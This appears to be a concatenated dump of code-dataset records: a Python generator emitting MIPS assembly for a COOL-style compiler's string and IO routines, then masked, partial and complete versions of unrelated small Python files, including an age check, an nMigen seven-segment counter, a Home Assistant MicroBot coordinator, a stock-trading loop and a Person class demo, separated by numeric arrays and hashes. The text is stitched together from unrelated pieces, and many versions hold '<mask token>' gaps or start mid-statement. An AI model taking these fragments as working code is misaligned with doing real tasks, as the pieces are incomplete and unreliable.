$a2 $0') # Compute string's length self.write_file('move $t2 $a1') self.write_file('_str_len_clsname_:', tabbed=False) self.write_file('lb $a0 0($t2)') self.write_file('beq $a0 $0 _end_clsname_len_') self.write_file('addiu $a2 $a2 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _str_len_clsname_') self.write_file('_end_clsname_len_:', tabbed=False) self.write_file('sw $a2, 12($v0)') # Store string's length self.write_file('sw $v0, 12($v1)') # Fill String attributes self.write_file('sw $a1, 16($v1)') self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') #----- STRING METHODS def string_length(self): self.write_file('function_String_length:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $a0 12($fp)') # Self self.write_file('lw $v0 12($a0)') self.write_file('jr $ra') self.write_file('') def string_concat(self): self.write_file('function_String_concat:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object self.write_file('move $v1 $v0') # Save new Int Object self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object self.write_file('move $t3 $v0') # Store new String object self.write_file('lw $a1 12($fp)') # Self self.write_file('lw $a2 16($fp)') # Boxed String to concat self.write_file('lw $t1 12($a1)') # Self's length Int object self.write_file('lw $t1 12($t1)') # Self's length self.write_file('lw $t2 12($a2)') # strings to concat's length Int object self.write_file('lw $t2 12($t2)') # strings to concat's length self.write_file('addu $t0 $t2 $t1') # New string's length self.write_file('sw $t0 12($v1)') # Store new string's length into box self.write_file('lw $a1 16($a1)') # Unbox strings self.write_file('lw $a2 16($a2)') self.write_file('addiu $t0 $t0 1') # Add space for \0 self.allocate_memory('$t0', register=True) # Allocate memory for new string self.write_file('move $t5 $v0') # Keep the string's reference in v0 and use t7 # a1: self's string a2: 2nd string t1: length self t2: 2nd string length # v1: new string's int object self.write_file('move $t4 $a1') # Index for iterating the self string self.write_file('addu $a1 $a1 $t1') # self's copy limit self.write_file('_strcat_copy_:', tabbed=False) self.write_file('beq $t4 $a1 _end_strcat_copy_') # No more characters to copy self.write_file('lb $a0 0($t4)') # Copy the character self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') # Advance indices self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_') self.write_file('_end_strcat_copy_:', tabbed=False) # Copy 2nd string self.write_file('move $t4 $a2') # Index for iterating the strings self.write_file('addu $a2 $a2 $t2') # self's copy limit self.write_file('_strcat_copy_snd_:', tabbed=False) self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') # No more characters to copy self.write_file('lb $a0 0($t4)') # Copy the character self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') # Advance indices self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_snd_') self.write_file('_end_strcat_copy_snd_:', tabbed=False) self.write_file('sb $0 0($t5)') # End string with \0 # $v0: reference to new string $v1: length int object # $t3: new string object # -> Create boxed string self.write_file('sw $v1 12($t3)') # New length self.write_file('sw $v0 16($t3)') # New string self.write_file('move $v0 $t3') # Return new String object in $v0 self.write_file('jr $ra') self.write_file('') def string_substr(self): self.write_file('function_String_substr:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file(f'lw $t5 12($fp)') # self param self.write_file(f'lw $a1 16($fp)') # reference of object int that represent i self.write_file(f'lw $a1 12($a1)') # value of i self.write_file(f'lw $a2 20($fp)') # reference of object int that represent j self.write_file(f'lw $a2 12($a2)') # value of j that is length to copy self.write_file(f'blt $a1 $0 _index_negative') # index i is negative self.write_file(f'blt $a2 $0 _index_negative') # length j is negative self.write_file(f'add $a2 $a1 $a2') # finish index self.write_file(f'lw $a3 12($t5)') self.write_file(f'lw $a3 12($a3)') # length of string self.write_file(f'bgt $a2 $a3 _index_out') # j > lenght # not errors self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) self.write_file(f'move $v1 $v0') # new string self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) self.write_file(f'move $t0 $v0') # lenght of string self.write_file(f'move $t7 $a2') self.write_file(f'subu $t7 $t7 $a1') self.write_file(f'sw $t7 12($t0)') # save number that represent lenght of new string self.allocate_memory('$a2', register=True) # $v0 -> address of the string self.write_file(f'sw $t0 12($v1)') # store length self.write_file(f'sw $v0 16($v1)') # store address of new string to String object # generate substring self.write_file('move $t1 $v0') # Index for iterating the new string self.write_file('lw $t5 16($t5)') # Index for iterating the self string self.write_file('move $t4 $t5') self.write_file('addu $t4 $t4 $a1') # self's copy start self.write_file('addu $t5 $t5 $a2') # self's copy limit self.write_file('_substr_copy_:', tabbed=False) self.write_file('bge $t4 $t5 _end_substr_copy_') # No more characters to copy self.write_file('lb $a0 0($t4)') # Copy the character self.write_file('sb $a0 0($t1)') self.write_file('addiu $t1 $t1 1') # Advance indices self.write_file('addiu $t4 $t4 1') self.write_file('j _substr_copy_') # errors sections self.write_file(f'_index_negative:',tabbed=False) self.write_file(f'la $a0 _index_negative_msg') self.write_file(f'b _subst_abort') self.write_file(f'_index_out:',tabbed=False) self.write_file(f'la $a0 _index_out_msg') self.write_file(f'b _subst_abort') # abort execution self.write_file(f'_subst_abort:',tabbed=False) self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file('la $a0 _abort_msg') self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file(f'li $v0 10') self.write_file(f'syscall') # exit # successful execution self.write_file('_end_substr_copy_:', tabbed=False) self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') #----- IO def io_in_int(self): self.write_file('function_IO_in_int:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object self.write_file('move $t0 $v0') # Save Int object self.write_file('li $v0 5') # Read int self.write_file('syscall') self.write_file('sw $v0 12($t0)') # Store int self.write_file('move $v0 $t0') self.write_file('jr $ra') self.write_file('') def io_in_string(self): self.write_file('function_IO_in_string:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object for string's length self.write_file('move $v1 $v0') # $v1: Int pbject self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object self.write_file('sw $v1 12($v0)') self.write_file('move $t5 $v0') # $t5: String object # Read String and store in a temp buffer self.write_file('la $a0 str_buffer') self.write_file('li $a1 1025') self.write_file('li $v0 8') # Read string self.write_file('syscall') # Compute string's length self.write_file('move $a0 $0') self.write_file('la $t2 str_buffer') self.write_file('_in_string_str_len_:', tabbed=False) self.write_file('lb $t0 0($t2)') self.write_file('beq $t0 $0 _end_in_string_str_len_') self.write_file('beq $t0 10 _end_in_string_str_len_') self.write_file('addiu $a0 $a0 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _in_string_str_len_') self.write_file('_end_in_string_str_len_:', tabbed=False) # Store string's length into Integer class self.write_file('sw $a0 12($v1)') # Allocate size in $a0 ... string's length self.allocate_memory() # $a0: string's length $v0: string's new address $t5: String object # Copy string from buffer to new address self.write_file('la $t4 str_buffer') # Index for iterating the string buffer self.write_file('move $t1 $v0') # Index for iterating new string address self.write_file('_in_str_copy_:', tabbed=False) self.write_file('lb $t0 0($t4)') # Load a character self.write_file('beq $t0 $0 _end_in_str_copy_') # No more characters to copy self.write_file('beq $t0 10 _end_in_str_copy_') # No more characters to copy self.write_file('sb $t0 0($t1)') # Copy the character self.write_file('addiu $t4 $t4 1') # Advance indices self.write_file('addiu $t1 $t1 1') self.write_file('j _in_str_copy_') self.write_file('_end_in_str_copy_:', tabbed=False) # Store string self.write_file('sw $v0 16($t5)') # Clean string buffer self.write_file('la $t4 str_buffer') # Index for iterating the string buffer self.write_file('_in_str_clean_:', tabbed=False) self.write_file('lb $t0 0($t4)') # Load a character self.write_file('beq $t0 $0 _end_in_str_clean_') # No more characters to clean self.write_file('sb $0 0($t4)') # Clean the character self.write_file('addiu $t4 $t4 1') # Advance indices self.write_file('j _in_str_clean_') self.write_file('_end_in_str_clean_:', tabbed=False) # Return new string in $v0 self.write_file('move $v0 $t5') self.write_file('jr $ra') self.write_file('') def io_out_int(self): self.write_file('function_IO_out_int:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') # Get Int object self.write_file('lw $a0 12($a0)') self.write_file('li $v0 1') # Print int self.write_file('syscall') self.write_file('lw $v0 12($fp)') # Return self self.write_file('jr $ra') self.write_file('') def io_out_string(self): self.write_file('function_IO_out_string:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') # Get String object self.write_file('lw $a0 16($a0)') self.write_file('li $v0 4') # Print string self.write_file('syscall') self.write_file('lw $v0 12($fp)') # Return self self.write_file('jr $ra') self.write_file('') #------ CONFORMS def conforms(self): self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file(f'lw $t0 12($fp)') # First arg's class tag self.write_file(f'lw $t1 16($fp)') # Second arg's class tag # 2nd arg == Object -> return true self.write_file(f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_') self.write_file('_conforms_loop_:', tabbed=False) # current == 2nd arg -> return true self.write_file('beq $t0 $t1 _conforms_ret_true_') # current == Object -> return false self.write_file(f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_') # Query parents's class tag from $s2 ... class parent table self.write_file('mulu $t0 $t0 4') self.write_file('addu $t0 $t0 $s2') self.write_file('lw $t0 0($t0)') # current = current.parent self.write_file('j _conforms_loop_') self.write_file('_conforms_ret_true_:', tabbed=False) self.write_file('li $v0 1') self.write_file('j _conforms_ret_') self.write_file('_conforms_ret_false_:', tabbed=False) self.write_file('li $v0 0') # No need to store result in a Bool class self.write_file('_conforms_ret_:') self.write_file('jr $ra') self.write_file('') #------ ISVOID def isvoid(self): self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = BOOLEAN_CLASS)) # $v0 contains new Bool object self.write_file(f'lw $t0 12($fp)') # 1st arg is an object address self.write_file(f'la $t1 {VOID_MIPS_NAME}') self.write_file(f'beq $t0 $t1 _is_void_true_') # arg == void type self.write_file(f'sw $0 12($v0)') # return False self.write_file(f'j _is_void_end_') self.write_file(f'_is_void_true_:', tabbed=False) self.write_file(f'li $t0 1') self.write_file(f'sw $t0 12($v0)') # return True self.write_file(f'_is_void_end_:', tabbed=False) # Return Bool object in $v0 self.write_file(f'jr $ra') self.write_file(f'')
[ 25, 30, 38, 41, 50 ]
9,953
911257bad3baab89e29db3facb08ec41269b41e3
<mask token>
<mask token> print(2 * 3) <mask token> if a >= b: print('You can drive the car, you are ', a) else: print('Sorry, you are too small')
<mask token> print(2 * 3) <mask token> a = int(input('Enter your age: ')) b = 18 if a >= b: print('You can drive the car, you are ', a) else: print('Sorry, you are too small')
# mathematical operators ''' * multiply / divide (normal) // divide (integer) % modulus (remainder) + add - subtract ** exponent (raise to) ''' print(2 * 3) # comparison operators ''' == equal to != not equal to > greater than < less than >= greater or equal to <= less or equal to ''' a = int(input("Enter your age: ")) b = 18 if a >= b: print("You can drive the car, you are ", a) else: print("Sorry, you are too small")
null
[ 0, 1, 2, 3 ]
9,954
74bb511a9ec272020693db65a2e708f3db56931e
<mask token> class SSDigitDecoder(Elaboratable): <mask token> def incr(self): return self.i_num.eq(self.i_num + 1) <mask token> class Blinky(Elaboratable): def __init__(self): self.dd0 = SSDigitDecoder() self.dd1 = SSDigitDecoder() def elaborate(self, platform): m = Module() m.submodules.dd0 = self.dd0 m.submodules.dd1 = self.dd1 timer = Signal(20) led = platform.request('led', 0) btn = platform.request('button', 0) btn1 = platform.request('button', 1) dig_sel = platform.request('ss_dig_sel', 0) disp = platform.request('ss_disp', 0) m.d.sync += timer.eq(timer + 1) m.d.comb += led.o.eq(timer[-1] & ~btn) running = Signal(1) """ # naive btn last_btn1 = Signal(1) m.d.sync += last_btn1.eq(btn1.i) with m.If(btn1.i & ~last_btn1): m.d.sync += running.eq(~running) """ btn1_pipe1 = Signal(1) btn1_pipe2 = Signal(1) btn1_db = Signal(range(0, 65535)) m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)] with m.If(btn1_pipe2): m.d.sync += btn1_db.eq(65535) with m.Else(): with m.If(btn1_db > 0): m.d.sync += btn1_db.eq(btn1_db - 1) with m.If(btn1_pipe2 & (btn1_db == 0)): m.d.sync += running.eq(~running) with m.If(running & (timer == 0)): with m.If(self.dd0.i_num == 9): m.d.sync += self.dd0.i_num.eq(0) with m.If(self.dd1.i_num == 9): m.d.sync += self.dd1.i_num.eq(0) with m.Else(): m.d.sync += self.dd1.incr() with m.Else(): m.d.sync += self.dd0.incr() with m.If(timer[8]): m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)] with m.Else(): m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)] return m <mask token>
<mask token> class SSDigitDecoder(Elaboratable): def __init__(self): self.i_num = Signal(4) self.o_disp = Signal(7) self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109, (6): 125, (7): 7, (8): 127, (9): 103} def incr(self): return self.i_num.eq(self.i_num + 1) def elaborate(self, platform): m = Module() with m.Switch(self.i_num): for a, b in self.lut.items(): with m.Case(a): m.d.comb += self.o_disp.eq(b) return m class Blinky(Elaboratable): def __init__(self): self.dd0 = SSDigitDecoder() self.dd1 = SSDigitDecoder() def elaborate(self, platform): m = Module() m.submodules.dd0 = self.dd0 m.submodules.dd1 = self.dd1 timer = Signal(20) led = platform.request('led', 0) btn = platform.request('button', 0) btn1 = platform.request('button', 1) dig_sel = platform.request('ss_dig_sel', 0) disp = platform.request('ss_disp', 0) m.d.sync += timer.eq(timer + 1) m.d.comb += led.o.eq(timer[-1] & ~btn) running = Signal(1) """ # naive btn last_btn1 = Signal(1) m.d.sync += last_btn1.eq(btn1.i) with m.If(btn1.i & ~last_btn1): m.d.sync += running.eq(~running) """ btn1_pipe1 = Signal(1) btn1_pipe2 = Signal(1) btn1_db = Signal(range(0, 65535)) m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)] with m.If(btn1_pipe2): m.d.sync += btn1_db.eq(65535) with m.Else(): with m.If(btn1_db > 0): m.d.sync += btn1_db.eq(btn1_db - 1) with m.If(btn1_pipe2 & (btn1_db == 0)): m.d.sync += running.eq(~running) with m.If(running & (timer == 0)): with m.If(self.dd0.i_num == 9): m.d.sync += self.dd0.i_num.eq(0) with m.If(self.dd1.i_num == 9): m.d.sync += self.dd1.i_num.eq(0) with m.Else(): m.d.sync += self.dd1.incr() with m.Else(): m.d.sync += self.dd0.incr() with m.If(timer[8]): m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)] with m.Else(): m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)] return m <mask token>
<mask token> class SSDigitDecoder(Elaboratable): def __init__(self): self.i_num = Signal(4) self.o_disp = Signal(7) self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109, (6): 125, (7): 7, (8): 127, (9): 103} def incr(self): return self.i_num.eq(self.i_num + 1) def elaborate(self, platform): m = Module() with m.Switch(self.i_num): for a, b in self.lut.items(): with m.Case(a): m.d.comb += self.o_disp.eq(b) return m class Blinky(Elaboratable): def __init__(self): self.dd0 = SSDigitDecoder() self.dd1 = SSDigitDecoder() def elaborate(self, platform): m = Module() m.submodules.dd0 = self.dd0 m.submodules.dd1 = self.dd1 timer = Signal(20) led = platform.request('led', 0) btn = platform.request('button', 0) btn1 = platform.request('button', 1) dig_sel = platform.request('ss_dig_sel', 0) disp = platform.request('ss_disp', 0) m.d.sync += timer.eq(timer + 1) m.d.comb += led.o.eq(timer[-1] & ~btn) running = Signal(1) """ # naive btn last_btn1 = Signal(1) m.d.sync += last_btn1.eq(btn1.i) with m.If(btn1.i & ~last_btn1): m.d.sync += running.eq(~running) """ btn1_pipe1 = Signal(1) btn1_pipe2 = Signal(1) btn1_db = Signal(range(0, 65535)) m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)] with m.If(btn1_pipe2): m.d.sync += btn1_db.eq(65535) with m.Else(): with m.If(btn1_db > 0): m.d.sync += btn1_db.eq(btn1_db - 1) with m.If(btn1_pipe2 & (btn1_db == 0)): m.d.sync += running.eq(~running) with m.If(running & (timer == 0)): with m.If(self.dd0.i_num == 9): m.d.sync += self.dd0.i_num.eq(0) with m.If(self.dd1.i_num == 9): m.d.sync += self.dd1.i_num.eq(0) with m.Else(): m.d.sync += self.dd1.incr() with m.Else(): m.d.sync += self.dd0.incr() with m.If(timer[8]): m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)] with m.Else(): m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)] return m if __name__ == '__main__': p = ICEBreakerPlatform() p.add_resources(p.break_off_pmod) p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=( 'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0, PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs( IO_STANDARD='SB_LVCMOS'))]) for r in p.resources: print('r:', r) p.build(Blinky(), do_program=False)
from nmigen import * from nmigen.build import * from nmigen_boards.icebreaker import ICEBreakerPlatform class SSDigitDecoder(Elaboratable): def __init__(self): self.i_num = Signal(4) self.o_disp = Signal(7) self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109, (6): 125, (7): 7, (8): 127, (9): 103} def incr(self): return self.i_num.eq(self.i_num + 1) def elaborate(self, platform): m = Module() with m.Switch(self.i_num): for a, b in self.lut.items(): with m.Case(a): m.d.comb += self.o_disp.eq(b) return m class Blinky(Elaboratable): def __init__(self): self.dd0 = SSDigitDecoder() self.dd1 = SSDigitDecoder() def elaborate(self, platform): m = Module() m.submodules.dd0 = self.dd0 m.submodules.dd1 = self.dd1 timer = Signal(20) led = platform.request('led', 0) btn = platform.request('button', 0) btn1 = platform.request('button', 1) dig_sel = platform.request('ss_dig_sel', 0) disp = platform.request('ss_disp', 0) m.d.sync += timer.eq(timer + 1) m.d.comb += led.o.eq(timer[-1] & ~btn) running = Signal(1) """ # naive btn last_btn1 = Signal(1) m.d.sync += last_btn1.eq(btn1.i) with m.If(btn1.i & ~last_btn1): m.d.sync += running.eq(~running) """ btn1_pipe1 = Signal(1) btn1_pipe2 = Signal(1) btn1_db = Signal(range(0, 65535)) m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)] with m.If(btn1_pipe2): m.d.sync += btn1_db.eq(65535) with m.Else(): with m.If(btn1_db > 0): m.d.sync += btn1_db.eq(btn1_db - 1) with m.If(btn1_pipe2 & (btn1_db == 0)): m.d.sync += running.eq(~running) with m.If(running & (timer == 0)): with m.If(self.dd0.i_num == 9): m.d.sync += self.dd0.i_num.eq(0) with m.If(self.dd1.i_num == 9): m.d.sync += self.dd1.i_num.eq(0) with m.Else(): m.d.sync += self.dd1.incr() with m.Else(): m.d.sync += self.dd0.incr() with m.If(timer[8]): m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)] with m.Else(): m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)] return m if __name__ == '__main__': p = ICEBreakerPlatform() p.add_resources(p.break_off_pmod) p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=( 'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0, PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs( IO_STANDARD='SB_LVCMOS'))]) for r in p.resources: print('r:', r) p.build(Blinky(), do_program=False)
#!/usr/bin/env python3 from nmigen import * from nmigen.build import * from nmigen_boards.icebreaker import ICEBreakerPlatform class SSDigitDecoder(Elaboratable): def __init__(self): self.i_num = Signal(4) self.o_disp = Signal(7) self.lut = { 0: 0b011_1111, 1: 0b000_0110, 2: 0b101_1011, 3: 0b100_1111, 4: 0b110_0110, 5: 0b110_1101, 6: 0b111_1101, 7: 0b000_0111, 8: 0b111_1111, 9: 0b110_0111, } def incr(self): return self.i_num.eq(self.i_num+1) def elaborate(self, platform): m = Module() with m.Switch(self.i_num): for a, b in self.lut.items(): with m.Case(a): m.d.comb += self.o_disp.eq(b) return m class Blinky(Elaboratable): def __init__(self): self.dd0 = SSDigitDecoder() self.dd1 = SSDigitDecoder() def elaborate(self, platform): m = Module() m.submodules.dd0 = self.dd0 m.submodules.dd1 = self.dd1 timer = Signal(20) led = platform.request('led', 0) btn = platform.request('button', 0) btn1 = platform.request('button', 1) dig_sel = platform.request('ss_dig_sel', 0) disp = platform.request('ss_disp', 0) # blinky led m.d.sync += timer.eq(timer+1) m.d.comb += led.o.eq(timer[-1] & ~btn) # 7 seg running = Signal(1) """ # naive btn last_btn1 = Signal(1) m.d.sync += last_btn1.eq(btn1.i) with m.If(btn1.i & ~last_btn1): m.d.sync += running.eq(~running) """ btn1_pipe1 = Signal(1) btn1_pipe2 = Signal(1) btn1_db = Signal(range(0, 0xffff)) m.d.sync += [ btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1), ] with m.If(btn1_pipe2): m.d.sync += btn1_db.eq(0xffff) with m.Else(): with m.If(btn1_db > 0): m.d.sync += btn1_db.eq(btn1_db-1) with m.If(btn1_pipe2 & (btn1_db == 0)): m.d.sync += running.eq(~running) with m.If(running & (timer == 0)): with m.If(self.dd0.i_num == 9): m.d.sync += self.dd0.i_num.eq(0) with m.If(self.dd1.i_num == 9): m.d.sync += self.dd1.i_num.eq(0) with m.Else(): m.d.sync += self.dd1.incr() with m.Else(): m.d.sync += self.dd0.incr() with m.If(timer[8]): m.d.comb += [ dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp), ] with m.Else(): m.d.comb += [ dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp), ] return m if __name__ == '__main__': p = ICEBreakerPlatform() p.add_resources(p.break_off_pmod) p.add_resources([ Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=('pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0, PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), ]) for r in p.resources: print('r:', r) p.build(Blinky(), do_program=False)
[ 5, 7, 8, 9, 10 ]
9,955
5509880c30c2e03ca6eb42ad32018c39fb5939ed
<mask token> class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator): <mask token> <mask token> <mask token>
<mask token> class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator): <mask token> def __init__(self, hass: HomeAssistant, client: MicroBotApiClient, ble_device: BLEDevice) ->None: """Initialize.""" self.api: MicroBotApiClient = client self.data: dict[str, Any] = {} self.ble_device = ble_device super().__init__(hass, _LOGGER, ble_device.address, bluetooth. BluetoothScanningMode.ACTIVE) @callback def _async_handle_bluetooth_event(self, service_info: bluetooth. BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None: """Handle a Bluetooth event.""" if (adv := parse_advertisement_data(service_info.device, service_info.advertisement)): self.data = adv.data _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address, self.data) self.api.update_from_advertisement(adv) super()._async_handle_bluetooth_event(service_info, change)
<mask token> class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator): """Class to manage fetching data from the MicroBot.""" def __init__(self, hass: HomeAssistant, client: MicroBotApiClient, ble_device: BLEDevice) ->None: """Initialize.""" self.api: MicroBotApiClient = client self.data: dict[str, Any] = {} self.ble_device = ble_device super().__init__(hass, _LOGGER, ble_device.address, bluetooth. BluetoothScanningMode.ACTIVE) @callback def _async_handle_bluetooth_event(self, service_info: bluetooth. BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None: """Handle a Bluetooth event.""" if (adv := parse_advertisement_data(service_info.device, service_info.advertisement)): self.data = adv.data _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address, self.data) self.api.update_from_advertisement(adv) super()._async_handle_bluetooth_event(service_info, change)
<mask token> if TYPE_CHECKING: from bleak.backends.device import BLEDevice _LOGGER: logging.Logger = logging.getLogger(__package__) PLATFORMS: list[str] = [Platform.SWITCH] class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator): """Class to manage fetching data from the MicroBot.""" def __init__(self, hass: HomeAssistant, client: MicroBotApiClient, ble_device: BLEDevice) ->None: """Initialize.""" self.api: MicroBotApiClient = client self.data: dict[str, Any] = {} self.ble_device = ble_device super().__init__(hass, _LOGGER, ble_device.address, bluetooth. BluetoothScanningMode.ACTIVE) @callback def _async_handle_bluetooth_event(self, service_info: bluetooth. BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None: """Handle a Bluetooth event.""" if (adv := parse_advertisement_data(service_info.device, service_info.advertisement)): self.data = adv.data _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address, self.data) self.api.update_from_advertisement(adv) super()._async_handle_bluetooth_event(service_info, change)
"""Integration to integrate Keymitt BLE devices with Home Assistant.""" from __future__ import annotations import logging from typing import TYPE_CHECKING, Any from microbot import MicroBotApiClient, parse_advertisement_data from homeassistant.components import bluetooth from homeassistant.components.bluetooth.passive_update_coordinator import ( PassiveBluetoothDataUpdateCoordinator, ) from homeassistant.const import Platform from homeassistant.core import HomeAssistant, callback if TYPE_CHECKING: from bleak.backends.device import BLEDevice _LOGGER: logging.Logger = logging.getLogger(__package__) PLATFORMS: list[str] = [Platform.SWITCH] class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator): """Class to manage fetching data from the MicroBot.""" def __init__( self, hass: HomeAssistant, client: MicroBotApiClient, ble_device: BLEDevice, ) -> None: """Initialize.""" self.api: MicroBotApiClient = client self.data: dict[str, Any] = {} self.ble_device = ble_device super().__init__( hass, _LOGGER, ble_device.address, bluetooth.BluetoothScanningMode.ACTIVE, ) @callback def _async_handle_bluetooth_event( self, service_info: bluetooth.BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange, ) -> None: """Handle a Bluetooth event.""" if adv := parse_advertisement_data( service_info.device, service_info.advertisement ): self.data = adv.data _LOGGER.debug("%s: MicroBot data: %s", self.ble_device.address, self.data) self.api.update_from_advertisement(adv) super()._async_handle_bluetooth_event(service_info, change)
[ 1, 3, 4, 5, 7 ]
9,956
da903409d75ba2a07443317e30bce568444fbca5
<mask token>
<mask token> for s1, s2 in zip(A[:-1], A[1:]): if s1 < s2: stockNum = g // s1 g += stockNum * (s2 - s1) print(g)
n = int(input()) A = list(map(int, input().split())) g = 1000 for s1, s2 in zip(A[:-1], A[1:]): if s1 < s2: stockNum = g // s1 g += stockNum * (s2 - s1) print(g)
n=int(input()) A=list(map(int,input().split())) g=1000 for s1,s2 in zip(A[:-1],A[1:]): if s1<s2: stockNum=g//s1 g+=stockNum*(s2-s1) print(g)
null
[ 0, 1, 2, 3 ]
9,957
11feb13f38f2484c867a8b3fa525ffecf419dfe5
<mask token> class Person: <mask token> <mask token> def __init__(self, name, age, gender): self.name = name self.age = age self.gender = gender self.salary = 0 def greet(self): print('Hello ', self.name) def greetByTime(self, time='Morning'): print('Hello', self.name, ' . ', time) <mask token>
<mask token> class Person: alive = True <mask token> def __init__(self, name, age, gender): self.name = name self.age = age self.gender = gender self.salary = 0 def greet(self): print('Hello ', self.name) def greetByTime(self, time='Morning'): print('Hello', self.name, ' . ', time) <mask token>
<mask token> class Person: alive = True """ Possible Attributes for a Person: 1. Name 2. Age 3. Gender """ def __init__(self, name, age, gender): self.name = name self.age = age self.gender = gender self.salary = 0 def greet(self): print('Hello ', self.name) def greetByTime(self, time='Morning'): print('Hello', self.name, ' . ', time) <mask token>
<mask token> class Person: alive = True """ Possible Attributes for a Person: 1. Name 2. Age 3. Gender """ def __init__(self, name, age, gender): self.name = name self.age = age self.gender = gender self.salary = 0 def greet(self): print('Hello ', self.name) def greetByTime(self, time='Morning'): print('Hello', self.name, ' . ', time) print('Accessing Static Variable', Person.alive) <mask token> print(""" Accessing Functions """) p.greet() p.greetByTime() p.greetByTime('Goodnight') print(""" Accessing Variables """) print(p.name, p.age, p.gender)
''' Classes ''' class Person: alive = True ''' Possible Attributes for a Person: 1. Name 2. Age 3. Gender ''' def __init__(self, name, age, gender): self.name = name self.age = age self.gender = gender self.salary = 0 def greet(self): print("Hello ", self.name) def greetByTime(self, time="Morning"): print("Hello", self.name, " . ", time) print("Accessing Static Variable", Person.alive) p = Person("John", 30, "Male") print("\n\nAccessing Functions \n\n") p.greet() p.greetByTime() p.greetByTime("Goodnight") print("\n\nAccessing Variables \n\n") print(p.name, p.age, p.gender)
[ 4, 5, 6, 7, 9 ]
9,958
921c7255fad46c767f2ec1030ef9498da05b9bb1
